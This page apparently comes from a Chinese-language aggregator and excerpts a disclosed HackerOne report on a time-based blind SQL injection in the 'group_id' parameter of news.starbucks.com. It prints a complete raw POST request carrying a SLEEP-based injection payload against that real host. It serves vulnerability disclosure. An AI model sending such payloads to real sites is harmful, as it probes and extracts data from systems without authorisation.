Time-based Blind SQLi on news.starbucks.com
该报告还没有中文解读。
原文摘录
摘自原文（1380 字符中的一小部分）
I just found that the post parameter "group_id" for a particularly crafted http request is being vulnerable to injection due to missing parameter sanitization.
原文中的代码
POST / HTTP/1.1
Host: news.starbucks.com
Connection: close
Content-Length: 81
Cache-Control: max-age=0
Origin: https://news.starbucks.com
Content-Type: application/x-www-form-urlencoded
ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Starbucks 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @toctou · 版权归作者与 Starbucks 所有